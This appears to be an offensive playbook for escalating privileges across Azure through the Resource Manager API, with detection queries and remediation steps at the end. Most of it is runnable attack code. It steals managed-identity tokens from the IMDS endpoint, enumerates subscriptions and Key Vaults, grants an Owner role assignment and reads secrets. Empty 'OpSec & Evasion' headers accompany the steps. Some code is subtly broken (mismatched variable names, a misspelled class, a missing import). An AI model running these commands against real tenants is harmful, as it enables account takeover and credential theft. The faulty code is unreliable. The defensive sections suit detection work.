| Attribute | Details |
|---|---|
| Technique ID | REALWORLD-034 |
| MITRE ATT&CK v18.1 | T1550 - Use Alternate Authentication Material |
| Tactic | Lateral Movement |
| Platforms | Entra ID / Azure |
| Severity | Critical |
| CVE | N/A |
| Technique Status | ACTIVE |
| Last Verified | 2026-01-10 |
| Affected Versions | All Azure subscription versions |
| Patched In | N/A - By design |
| Author | SERVTEP – Artur Pchelnikau |
Concept: The Azure Resource Manager (ARM) API is the underlying control plane for all Azure resource creation, modification, and deletion. When an attacker gains a valid access token (via service principal certificate, managed identity, or user token), they can use the ARM API (https://management.azure.com/) to enumerate subscriptions, create virtual machines, modify role assignments, access secrets in Key Vaults, and exfiltrate data—all without using the Azure Portal UI, bypassing many conditional access policies and audit trails.
Attack Surface: ARM REST API endpoints, Azure SDK libraries (Azure.Management, Azure.Identity), Azure CLI, PowerShell, managed identities on compute resources, stolen access tokens from browsers or applications.
Business Impact: Unrestricted lateral movement and privilege escalation across all subscriptions. An attacker with a valid ARM API token can escalate from a single resource’s managed identity to subscription owner, create new resources for command-and-control, or export sensitive data from databases and storage accounts. This bypasses many conditional access policies designed for the Azure Portal.
Technical Context: ARM API authentication happens via OAuth 2.0 bearer tokens issued by Entra ID. Once a token is obtained (via managed identity IMDS, app registration secret, or user token), it grants access to all resources the identity has permissions for. Many organizations focus Conditional Access and MFA policies on the Azure Portal but not on API-level access, creating a blind spot.
management.azure.com.| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | CIS 4.1.1 | Ensure Azure Audit Logs are Collected and Monitored |
| DISA STIG | SC-7(3) | Managed Interfaces |
| CISA SCuBA | Azure 2.1 | Enable Conditional Access |
| NIST 800-53 | AC-2(j), AU-2 | Privileged Access Review; Audit Logging |
| GDPR | Art. 32 | Security of Processing - Access Controls |
| DORA | Art. 9 | Protection and Prevention of ICT Vulnerabilities |
| NIS2 | Art. 21(3) | Privilege Management and Access Control |
| ISO 27001 | A.9.2.1, A.9.3.1 | Privileged Access Rights; Information Access Restriction |
| ISO 27005 | 8.2.3 | Unauthorized Use of Information Assets |
Microsoft.Authorization/roleAssignments/write at subscription level; or Managed Identity with any assigned role.https://management.azure.com/ (HTTPS port 443).Supported Versions:
Tools:
Supported Versions: All Azure subscription versions
Objective: Retrieve a valid ARM API access token from the IMDS endpoint available on all Azure compute resources.
Command (Bash on Linux VM):
# Request an access token for ARM from IMDS
curl -s -H Metadata:true \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" \
| jq -r '.access_token' > /tmp/arm_token.txt
echo "Token saved to /tmp/arm_token.txt"
cat /tmp/arm_token.txt
Command (PowerShell on Windows VM):
# Request token for ARM
$TokenResponse = Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" `
-Method GET `
-Headers @{ "Metadata" = "true" }
$AccessToken = $TokenResponse.access_token
Write-Host "Access Token: $AccessToken"
# Save for reuse
$AccessToken | Out-File -FilePath "C:\Temp\arm_token.txt" -Force
Expected Output:
eyJhbGciOiJSUzI1NiIsImtpZCI6IkFCQ0RFRjEyMzQ1Njc4OTBBQkNERUYxMjM0NTY3ODkwIn0.eyJhdWQiOiJodHRwczovL21hbmFnZW1lbnQuYXp1cmUuY29tLyIsImlzcyI6Imh0dHBzOi8vc3RzLndpbmRvd3MubmV0LzEyMzQ1Njc4LTEyMzQtMTIzNC0xMjM0LTEyMzQ1Njc4OTBhYi8iLCJvaWQiOiIxMjM0NTY3OC1hYmNkLWVmZ2gtaWprbC1tbm9wcXJzdHV2dyIsInN1YiI6IjEyMzQ1Njc4LWFiY2QtZWZnaC1pamtsLW1ub3BxcnN0dXZ3In0.SIGNATURE...
What This Means:
OpSec & Evasion:
Troubleshooting:
(404) Not Found on IMDS endpoint
Objective: Discover available subscriptions and their resources using the obtained token.
Command (Bash):
# Read the saved token
TOKEN=$(cat /tmp/arm_token.txt)
# List all subscriptions accessible to this identity
echo "[+] Listing subscriptions..."
curl -s -H "Authorization: Bearer $TOKEN" \
"https://management.azure.com/subscriptions?api-version=2020-01-01" \
| jq '.value[] | {id, displayName}' | tee /tmp/subscriptions.json
# For each subscription, list resource groups
echo "[+] Listing resource groups..."
curl -s -H "Authorization: Bearer $TOKEN" \
"https://management.azure.com/subscriptions/<SUBSCRIPTION_ID>/resourcegroups?api-version=2021-04-01" \
| jq '.value[] | {id, name, location}' | tee /tmp/resource_groups.json
# List all VMs in a subscription
echo "[+] Listing virtual machines..."
curl -s -H "Authorization: Bearer $TOKEN" \
"https://management.azure.com/subscriptions/<SUBSCRIPTION_ID>/providers/Microsoft.Compute/virtualMachines?api-version=2023-03-01" \
| jq '.value[] | {id, name, vmId}' | tee /tmp/vms.json
# List Key Vaults
echo "[+] Listing Key Vaults..."
curl -s -H "Authorization: Bearer $TOKEN" \
"https://management.azure.com/subscriptions/<SUBSCRIPTION_ID>/providers/Microsoft.KeyVault/vaults?api-version=2021-06-01-preview" \
| jq '.value[] | {id, name, location}' | tee /tmp/key_vaults.json
# List Storage Accounts
echo "[+] Listing Storage Accounts..."
curl -s -H "Authorization: Bearer $TOKEN" \
"https://management.azure.com/subscriptions/<SUBSCRIPTION_ID>/providers/Microsoft.Storage/storageAccounts?api-version=2021-09-01" \
| jq '.value[] | {id, name, type}' | tee /tmp/storage_accounts.json
Expected Output:
[
{
"id": "/subscriptions/12345678-1234-1234-1234-123456789012",
"displayName": "Production"
},
{
"id": "/subscriptions/87654321-4321-4321-4321-210987654321",
"displayName": "Development"
}
]
What This Means:
OpSec & Evasion:
Objective: Create a new Owner role assignment on the subscription or management group, escalating privileges.
Command (Bash - Create Owner Role Assignment):
TOKEN=$(cat /tmp/arm_token.txt)
SUBSCRIPTION_ID="12345678-1234-1234-1234-123456789012"
SERVICE_PRINCIPAL_ID="87654321-4321-4321-4321-210987654321" # Service principal to grant Owner role
ROLE_DEFINITION_ID="8e3af657-a8ff-443c-a75c-2fe8c4bcb635" # Owner role ID
# Create role assignment
ROLE_ASSIGNMENT_NAME=$(uuidgen)
curl -X PUT \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
"https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/providers/Microsoft.Authorization/roleAssignments/$ROLE_ASSIGNMENT_NAME?api-version=2015-07-01" \
-d @- <<EOF
{
"properties": {
"roleDefinitionId": "/subscriptions/$SUBSCRIPTION_ID/providers/Microsoft.Authorization/roleDefinitions/$ROLE_DEFINITION_ID",
"principalId": "$SERVICE_PRINCIPAL_ID",
"scope": "/subscriptions/$SUBSCRIPTION_ID"
}
}
EOF
echo "[+] Role assignment created: $ROLE_ASSIGNMENT_NAME"
Expected Output:
{
"id": "/subscriptions/12345678-1234-1234-1234-123456789012/providers/Microsoft.Authorization/roleAssignments/a1b2c3d4-e5f6-7890-abcd-ef1234567890",
"name": "a1b2c3d4-e5f6-7890-abcd-ef1234567890",
"type": "Microsoft.Authorization/roleAssignments",
"properties": {
"roleDefinitionId": "/subscriptions/12345678-1234-1234-1234-123456789012/providers/Microsoft.Authorization/roleDefinitions/8e3af657-a8ff-443c-a75c-2fe8c4bcb635",
"principalId": "87654321-4321-4321-4321-210987654321",
"scope": "/subscriptions/12345678-1234-1234-1234-123456789012",
"createdOn": "2026-01-10T12:00:00.0000000Z",
"updatedOn": "2026-01-10T12:00:00.0000000Z",
"createdBy": null,
"updatedBy": null
}
}
What This Means:
OpSec & Evasion:
Objective: Use elevated privileges to access and exfiltrate secrets.
Command (Bash - Get Key Vault Secrets):
TOKEN=$(cat /tmp/arm_token.txt)
SUBSCRIPTION_ID="12345678-1234-1234-1234-123456789012"
RESOURCE_GROUP="myresourcegroup"
KEY_VAULT_NAME="mykeyvault"
# Get Key Vault access endpoint
KV_ENDPOINT=$(curl -s -H "Authorization: Bearer $TOKEN" \
"https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.KeyVault/vaults/$KEY_VAULT_NAME?api-version=2021-06-01-preview" \
| jq -r '.properties.vaultUri')
echo "[+] Key Vault URI: $KV_ENDPOINT"
# Get list of secrets
curl -s -H "Authorization: Bearer $TOKEN" \
"${KV_VAULT_URL}secrets?api-version=2019-09-01" | jq '.value[] | .name'
# Get specific secret value
SECRET_NAME="DatabasePassword"
curl -s -H "Authorization: Bearer $TOKEN" \
"${KV_VAULT_URL}secrets/$SECRET_NAME?api-version=2019-09-01" | jq '.value'
Expected Output:
https://mykeyvault.vault.azure.net/
["DatabasePassword", "APIKey", "AdminPassword"]
"P@ssw0rd123!SuperSecret"
What This Means:
OpSec & Evasion:
Supported Versions: All Azure subscription versions
Command:
# Authenticate as service principal using certificate
az login \
--service-principal \
-u "12345678-1234-1234-1234-123456789012" \
--cert-file "/path/to/cert.pem" \
--tenant "contoso.onmicrosoft.com"
# Verify authentication
az account show
Expected Output:
Logging in with a service principal...
Name: MyServicePrincipal
Id: 12345678-1234-1234-1234-123456789012
User type: servicePrincipal
Command:
# List subscriptions
az account list --all --output table
# List all VMs across subscriptions
az vm list --all --output table
# Create a new Owner role assignment
az role assignment create \
--assignee "87654321-4321-4321-4321-210987654321" \
--role "Owner" \
--subscription "12345678-1234-1234-1234-123456789012"
# Retrieve secrets from Key Vault
az keyvault secret show \
--vault-name "mykeyvault" \
--name "DatabasePassword" \
--output tsv
OpSec & Evasion:
Supported Versions: All Azure versions; Python 3.7+
Command (Python Script):
#!/usr/bin/env python3
from azure.identity import ClientSecertCredential, ManagedIdentityCredential
from azure.mgmt.subscription import SubscriptionClient
from azure.mgmt.authorization import AuthorizationManagementClient
from azure.mgmt.compute import ComputeManagementClient
from azure.mgmt.keyvault import KeyVaultManagementClient
import json
# Option 1: Use Managed Identity (if running on Azure VM/App Service)
credential = ManagedIdentityCredential()
# Option 2: Use Service Principal Certificate
# credential = ClientSecertCredential(
# tenant_id="contoso.onmicrosoft.com",
# client_id="12345678-1234-1234-1234-123456789012",
# client_certificate_path="/path/to/cert.pem"
# )
# Enumerate subscriptions
subscription_client = SubscriptionClient(credential)
subscriptions = subscription_client.subscriptions.list()
print("[+] Enumerating subscriptions...")
for sub in subscriptions:
print(f" - {sub.display_name} ({sub.subscription_id})")
# Enumerate VMs in each subscription
compute_client = ComputeManagementClient(credential, sub.subscription_id)
vms = compute_client.virtual_machines.list_all()
for vm in vms:
print(f" - VM: {vm.name} in {vm.location}")
# Enumerate Key Vaults
keyvault_client = KeyVaultManagementClient(credential, sub.subscription_id)
vaults = keyvault_client.vaults.list()
for vault in vaults:
print(f" - Key Vault: {vault.name} in {vault.location}")
# Escalate privileges - Create Owner role assignment
authorization_client = AuthorizationManagementClient(credential, "12345678-1234-1234-1234-123456789012")
role_assignment = {
"role_definition_id": f"/subscriptions/12345678-1234-1234-1234-123456789012/providers/Microsoft.Authorization/roleDefinitions/8e3af657-a8ff-443c-a75c-2fe8c4bcb635",
"principal_id": "87654321-4321-4321-4321-210987654321",
"principal_type": "ServicePrincipal"
}
result = authorization_client.role_assignments.create(
scope="/subscriptions/12345678-1234-1234-1234-123456789012",
role_assignment_name=str(uuid.uuid4()),
parameters=role_assignment
)
print(f"\n[+] Role assignment created: {result.id}")
OpSec & Evasion:
Version: 2.40.0+ Installation (Windows):
choco install azure-cli
Installation (macOS/Linux):
curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash
Usage:
az login --service-principal -u <client-id> -p <secret> --tenant <tenant-id>
az account list --all
az vm list --all
Version: 9.0+ Installation:
Install-Module Az -AllowClobber -Force
Usage:
Connect-AzAccount -ServicePrincipal -Credential $Credential -Tenant "contoso.onmicrosoft.com"
Get-AzSubscription
New-AzRoleAssignment -ObjectId <principal-id> -RoleDefinitionName "Owner"
Installation:
pip install azure-identity azure-mgmt-subscription azure-mgmt-authorization azure-mgmt-compute
Rule Configuration:
azure_activity or main (if Azure Activity Logs ingested)azure:aad:audit or azure:subscriptionSPL Query:
sourcetype="azure:subscription" OR sourcetype="azure:activity"
| search Caller="*managed identity*" OR Caller="*service principal*"
| search ResourceType="Microsoft.Authorization" OR ResourceType="Microsoft.Compute" OR ResourceType="Microsoft.KeyVault"
| stats count by Caller, Operation, ResourceName, ResourceType, HTTPStatusCode
| where count > 10
What This Detects:
SPL Query:
sourcetype="azure:activity"
| search Operation="Create Role Assignment" OR Operation="Add role assignment"
| search PrincipalType="ServicePrincipal" OR PrincipalType="ManagedIdentity"
| where RoleDefinition="Owner" OR RoleDefinition="Contributor"
| table TimeCreated, Caller, PrincipalDisplayName, RoleDefinition, Scope
KQL Query:
AzureActivity
| where OperationName =~ "Get subscription" or OperationName =~ "List subscriptions"
| where HTTPStatusCode == 200
| where Caller has_any ("managed identity", "service principal")
| extend CallerDetails = parse_json(Caller)
| summarize SubscriptionCount = dcount(SubscriptionId), EventCount = count() by CallerDetails, TimeGenerated
| where SubscriptionCount > 1 and EventCount > 5 // Multiple subscriptions queried
KQL Query:
AzureActivity
| where OperationName =~ "Create role assignment"
| where ActivityStatus == "Succeeded"
| extend RoleAssignmentDetails = parse_json(AdditionalProperties)
| where RoleAssignmentDetails.roleDefinitionName =~ "Owner" or RoleAssignmentDetails.roleDefinitionName =~ "User Access Administrator"
| where Caller has_any ("managed identity", "service principal")
| project TimeGenerated, Caller, OperationName, RoleAssignmentDetails, ResourceId
Manual Steps (Azure Portal):
Block ARM API from Unapproved LocationsMicrosoft Azure Management app (ID: 797f4846-ba00-4fd7-ba43-dac1f8f63013)Manual Steps (PowerShell):
# Create a policy requiring MFA for all service principal ARM API access
# This requires conditional access policies to apply to service principals (preview)
# First, enable the preview feature
Update-AzureADMSConditionalAccessPolicy -State "Enabled" -DisplayName "Service Principal MFA Policy"
Manual Steps (Azure Portal):
ActivityLogArchiveAll categories or specifically Administrative, Security, RecommendationStorage account or Log Analytics workspaceManual Steps (Azure PowerShell):
# List all service principals with Owner role
Get-AzRoleAssignment -RoleDefinitionName "Owner" | Where-Object { $_.ObjectType -eq "ServicePrincipal" } |
Select-Object DisplayName, ObjectId, Scope
# For each unauthorized service principal, remove the role
$ServicePrincipalId = "87654321-4321-4321-4321-210987654321"
Remove-AzRoleAssignment -ObjectId $ServicePrincipalId -RoleDefinitionName "Owner" -Scope "/subscriptions/12345678-1234-1234-1234-123456789012"
Objective: Require approval for service principal role activation.
Manual Steps (Azure PIM):
Cloud Logs (Azure Activity):
Create Role Assignment or Add role assignmentSucceededOwner or User Access Administrator roleAPI Calls:
/subscriptions/{id}/providers/Microsoft.Authorization/roleAssignments//subscriptions/{id}/providers/Microsoft.KeyVault/vaults//subscriptions/{id}/providers/Microsoft.Compute/virtualMachines/Command (Azure PowerShell):
# Disable the service principal
$SPId = "87654321-4321-4321-4321-210987654321"
Update-AzADServicePrincipal -ObjectId $SPId -AccountEnabled $false
# Or revoke all access tokens
# (Note: Cannot directly revoke tokens; must delete and recreate service principal)
Remove-AzADServicePrincipal -ObjectId $SPId -Force
Command (KQL - Sentinel):
AzureActivity
| where Caller =~ "87654321-4321-4321-4321-210987654321"
| where TimeGenerated > ago(7d)
| project TimeGenerated, OperationName, ResourceGroup, ResourceType, ActivityStatus
| order by TimeGenerated desc
Command (PowerShell):
# Remove all role assignments created by the compromised identity in the last 24 hours
$CompromisedSPId = "87654321-4321-4321-4321-210987654321"
Get-AzRoleAssignment | Where-Object { $_.CreatedDate -gt (Get-Date).AddDays(-1) } |
ForEach-Object {
if ($_.RoleAssignmentId -like "*$CompromisedSPId*") {
Remove-AzRoleAssignment -Id $_.RoleAssignmentId
Write-Host "Removed unauthorized assignment: $($_.RoleAssignmentId)"
}
}
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | IA-EXPLOIT-001 (Azure App Proxy) or VM Compromise | Attacker compromises Azure compute resource |
| 2 | Privilege Escalation | REALWORLD-036 (Managed Identity Chaining) | Extract managed identity token from IMDS |
| 3 | Current Step | REALWORLD-034 | Abuse ARM API to enumerate and escalate |
| 4 | Lateral Movement | LM-AUTH-005 (Service Principal Key) | Move to other subscriptions using new role |
| 5 | Impact | Data Exfiltration via Key Vault or Blob Storage | Steal secrets and sensitive data |
Cloud Artifacts:
AzureActivity table in Sentinel)Network Artifacts:
https://management.azure.com/*Compute Resource Artifacts (Linux VM):
/var/log/syslog or journalcurl commands to 169.254.169.254/metadata/Compute Resource Artifacts (Windows VM):
Microsoft-Windows-PowerShell/OperationalReferences: